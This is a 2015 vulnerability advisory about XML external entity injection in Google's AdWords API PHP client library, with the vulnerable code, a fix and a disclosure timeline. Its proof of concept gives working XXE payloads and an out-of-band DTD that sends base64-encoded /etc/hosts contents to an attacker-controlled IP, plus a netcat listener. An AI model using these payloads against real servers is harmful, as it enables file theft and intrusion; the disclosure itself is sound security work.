# Date: 06.11.2015
# Exploit Author: Dawid Golunski
# Vendor Homepage: https://developers.google.com/adwords/api/docs/clientlibraries
# Software Link: https://github.com/googleads/googleads-php-lib
# Version: Google AdWords API client libraries - XML eXternal Entity Injection (XXE)


=============================================
- Release date: 06.11.2015
- Discovered by: Dawid Golunski
- Severity: Medium/High
=============================================

 
I. VULNERABILITY
-------------------------

Google AdWords API client libraries   -    XML eXternal Entity Injection (XXE)

Confirmed in googleads-php-lib <= 6.2.0 for PHP, AdWords libraries: 
googleads-java-lib for Java, and googleads-dotnet-lib for .NET are also likely
to be affected.

 
II. BACKGROUND
-------------------------

- AdWords API

"The AdWords API is a collection of web services that you can use to build 
applications that manage AdWords accounts and their associated campaign data.
While the AdWords API is based on SOAP 1.1, high-level client libraries are 
provided to help you develop applications more quickly."

AdWords API client libraries are available for different platforms
such as PHP, .NET, Java etc. 

These can be found at:

https://developers.google.com/adwords/api/docs/clientlibraries
 
III. INTRODUCTION
-------------------------

As Google AdWords is based on SOAP protocol that uses XML to transfer the data,
client API libraries should have necessary preventions against XML eXternal 
Entity injection attacks. However, an independent research found the necessary
preventions to be lacking in several Google AdWords API client libraries,
which could allow XXE attacks on applications/servers that make use of them.

XXE (XML eXternal Entity) attack is an attack on an application that parses XML 
input from untrusted sources using incorrectly configured XML parser. 
The application may be forced to open arbitrary files and/or network resources.
Exploiting XXE issues on PHP applications may also lead to denial of service or
in some cases (when an 'expect' PHP module is installed) lead to command 
execution.

IV. DESCRIPTION
-------------------------
 
This advisory will focus on PHP version of the AdWords API client library.
Other versions of the client library such as .NET and Java seem to be 
vulnerable in a similar way.

googleads-php-lib contains the following function which queries WSDL from the 
remote google adwords server:

---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]---

  protected function loadWsdl($wsdlUri, $proxy = null) {
    // Set proxy.
    if ($proxy) {
      $opts = array(
          'http' => array(
              'proxy' => $proxy,
              'request_fulluri' => true
          )
      );
      $context = stream_context_get_default($opts);
      libxml_set_streams_context($context);
    }

    $this->dom = new DOMDocument();
    $this->dom->load($wsdlUri,
        LIBXML_DTDLOAD|LIBXML_DTDATTR|LIBXML_NOENT|LIBXML_XINCLUDE);

    $this->serviceNamespace =
        $this->dom->documentElement->getAttribute('targetNamespace');
  }

-------------------------------------------------------

The function connects to the API endpoint to get the WSDL document describing
the functionality of the AdWords web service in XML.

For security reasons Google AdWords API can only be accessed via HTTPS. 
However, the above code does not set appropriate SSL settings on the 
https:// stream context. It fails to assign Certificate Authority (CA),
and turn the verify_peer option to ON.
It uses the stream_context_get_default() to get the default context,
which on all PHP versions below PHP 5.6.x (see references below) does not 
validate the CA by default. 

Because of this, applications using the AdWords API library may be tricked into 
retrieving data from untrusted sources pretending to be adwords.google.com.

The above code does not provide any XXE injection attack prevention.
It does not disable external entity processing. To make it worse,
it specifically enables it via the LIBXML parameters provided to the 
dom->load() function so an XXE injection attack would work even on
systems that have the newest and fully patched version of libxml library 
which does not process the entities by default.

Another vulnerable part of the application is located in the code:

---[ src/Google/Api/Ads/Common/Util/XmlUtils.php ]---

  public static function GetDomFromXml($xml) {
    set_error_handler(array('XmlUtils', 'HandleXmlError'));
    $dom = new DOMDocument();
    $dom->loadXML($xml,
        LIBXML_DTDLOAD | LIBXML_DTDATTR | LIBXML_NOENT | LIBXML_XINCLUDE);
    restore_error_handler();
    return $dom;
  }

-----------------------------------------------------

which is used by the AdsSoapClient class to process SOAP requests. It
also activates the ENTITY processing even if libxml parser is set to
ingore them by default. AdsSoapClient can be configured to verify SSL peer
in SSL communication via the settings INI file but this option is set to 
off by default.

These SSL settings, and the XML ENTITY processing combined make applications 
using the AdWords API vulnerable to XXE injection attacks. 

For the attack to be successful, an attacker needs to
perform a MitM attack to impersonate adwords.google.com server (eg. via DNS 
poisoning/spoofing/proxy attacks, ARP spoofing, etc.) to inject malicious 
XML input.

 
V. PROOF OF CONCEPT
-------------------------
 
Below is a test application that makes use of the PHP Google AdWords API 
library.

The application simply connects to the AdWords API endpoint to retrieve the 
WSDL document.

---[ testAPI.php ]---

<?php
// Test application reading WSDL from Google AdWords 

set_include_path('./build_lib/WSDLInterpreter/');
require_once 'WSDLInterpreter.php';

$wsdlUri = 'https://adwords.google.com/api/adwords/cm/v201502/'
	  .'CampaignService?wsdl';

$wsdlInterpreter = new WSDLInterpreter($wsdlUri, "AdWordsSoapClient",null, 
null, "CampaignService", "v201502", "Ads_Google", 
"./src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php", null, true, null);

?>

---------------------


To exploit this application, an attacker needs to perform a MitM attack to 
impersonate adwords.google.com server, as mentioned in the introduction.
For simplicity, we can add the following entry to /etc/hosts on the victim's
server:

192.168.57.12   adwords.google.com

to simulate a successful MitM attack where attacker successfully manages
to ,for example, poison the DNS cache to point the adwords subdomain at his
malicious web server (192.168.57.12).

The attacker then needs to create a malicious XML file on his server to 
return it to the victim. Example payload could look as follows:

$ curl --insecure 'https://192.168.57.12/api/adwords/cm/v201502/CampaignService?wsdl'

<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY xxetest SYSTEM "http://192.168.57.12/adwords_xxe_hack.dtd">
]>
<test><testing>&xxetest;</testing></test>


The XML payload returned by the attacker will cause the vulnerable
AdWords API library to resolve the 'xxetest' entity and connect
back to the attacker's server to retrieve adwords_xxe_hack.dtd.


This can be verified on the victim's server by executing the demonstrated
testAPI.php script:

$ curl http://victims_server/googleads-php-lib-master/testAPI.php


The script will try to retrieve the WSDL/XML document from adwords.google.com
which will provide the above malicious XML. 
After the injected entity is read, the attacker will get a connection from the 
victim:

attacker@mitm# nc -vv -l 8080
Connection from victims_server port 8080 [tcp/http-alt] accepted
GET /adwords_xxe_hack.dtd HTTP/1.0
Host: 192.168.57.12:8080


At this point attacker could add other entities to carry out an Out of band
XXE attack to read system files (such as /etc/passwd) located on the victim's 
server, or execute commands via expect:// PHP wrapper if the 'expect' module
is enabled.


For example, this payload:

<?xml version="1.0"?>
<!DOCTYPE test [ 
 <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
 <!ENTITY % dtd SYSTEM "http://192.168.57.12/send.dtd">
%dtd;
]>
<test><testing>test &send;</testing></test>

with another file located on the attacker's file server:

---[ send.dtd ]---

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.57.12:8080/retrieved/%file;'>">
%all;

------------------

would send the contents of the /etc/hosts file to the attacker.


VI. BUSINESS IMPACT
-------------------------

The severity of this issue is lowered to medium/high despite as the XXE 
injection vulnerability in the code, the attacker must impersonate 
adwords.google.com server to be able to inject malicious XML. 
If there is a possibility for such an attack, the severity of the issue can
grow to high/critical due to the exploitation possibilities through XXE
injection.
 
VII. SYSTEMS AFFECTED
-------------------------

The latest version of Google AdWords API PHP client library was confirmed to 
be vulnerable. The client libraries for other platforms seem to lack necessary 
XXE attack preventions too. 
For example, the Java version, did not set the 
'sax/features/external-general-entities' setting to off when creating an 
instance of the DocumentBuilderFactory class. And the .NET version of the 
AdWords API was missing explicit 'ProhibitDtd' setting on the XMLReader.

Vulnerabilities were found in googleads-php-lib in versions below 5.9.0 and 
reported to Google in May 2015, they were just fixed in AdWords php library ver. 
6.3.0.
 
VIII. SOLUTION
-------------------------

Install the latest version of the Google AdWords API library available for your
platform, and tighten SSL settings by enabling SSL CA verification in the
library settings file.
 
IX. REFERENCES
-------------------------

http://legalhackers.com/advisories/Google-AdWords-API-libraries-XXE-Injection-Vulnerability.txt

https://developers.google.com/adwords/api/docs/clientlibraries

https://github.com/googleads/googleads-php-lib

https://developers.google.com/adwords/api/docs/

PHP 5.6.x openssl certificates in PHP streams:
http://php.net/manual/en/migration56.openssl.php

http://legalhackers.com

X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com

http://legalhackers.com
 
XI. TIMELINE
-------------------------

May 18th, 2015:  Advisory created and sent to Google Security Team

Nov 5th,  2015:  Google, after half a year, confirm the vulnerability has been patched

Nov 6th,  2015:  Advisory released publicly
 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.